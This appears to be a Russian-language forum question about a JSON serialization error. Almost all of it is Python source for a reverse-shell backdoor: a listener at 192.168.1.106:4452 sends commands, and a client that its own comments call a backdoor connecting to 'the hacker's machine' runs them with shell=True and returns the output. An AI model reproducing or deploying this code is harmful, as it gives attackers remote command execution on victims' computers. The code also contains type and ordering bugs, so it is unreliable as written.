сериализация используя json ошибка

class Server:
 
    def __init__(self, ip, port):
 
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        # s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        s.bind((ip, port))  # в этом коде исп. две переменные ip и port
        s.listen(5)
        print('[+] Waiting for incoming connections')
        self.conn, self.addr = s.accept()  # исп. далее в нашем коде поэтому конвертируем в атрибут self
        print('incoming from: ', self.addr)
 
    def reliable_send(self,data):               # в качестве inputa этот метод будет исп.данные которые нужно отправить
        json_data=json.dumps(data)              # этот метод возвращает строку в формате JSON
        self.conn.send(json_data.encode('utf-8'))
 
    def reliable_recv(self):                 #в бесконечном цикле добавляем блок try чтобы получать данные
        json_data=self.conn.recv(1024).decode('utf-8')
        return json.loads(json_data)         # поскольку метод recv() нам нужно вернуть эти данные
 
    def remote(self, command):          # каждый раз когда надо будет выполнить команду мы будем обрабатывать вот здесь
        self.reliable_send(command)
        return self.reliable_recv()
 
    def run(self):
        while True:
            data = input()
            res = self.remote(data.encode())
            print(res.decode('cp866'))
 
a = Server('192.168.1.106', 4452)
a.run()
 
 
class Client:
    def __init__(self, ip, port):
        self.c = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.c.connect((ip, port))
 
    def reliable_recv(self):
        json_data=self.c.recv(1024)     # получаем данные и конвертируем из 'json' в объект 'python'
        return json.loads(json_data.decode('utf-8'))     # поскольку метод recv() нам нужно вернуть эти данные
 
    def reliable_send(self,data):                  # в качестве inputa этот метод будет исп.данные которые нужно отправить
        json_data=json.dumps(data)              # этот метод возвращает строку в формате JSON
        self.c.send(json_data.encode('utf-8'))
 
    def system_command(self, command):
        return subprocess.check_output(command, shell=True)  # - выполняет команду и возвращает её вывод
 
    def run(self):
        while True:                             # на сервере посылаем команду клиенту
            data = self.reliable_recv()           # клиент принимает и передает в параметр функции
            result = self.system_command(data) # что функция вернула, записываем в переменную
            self.reliable_send(result)                # посылаем результат серверу
 
 
try:                                  # если при загрузке бэкдор не сможет приконектитса к машине хакера,вылезет ошибка
    a = Client('192.168.1.106', 4452)   # исключим все типы исключений except Exception
    a.run()
except socket.error:
    exit(0)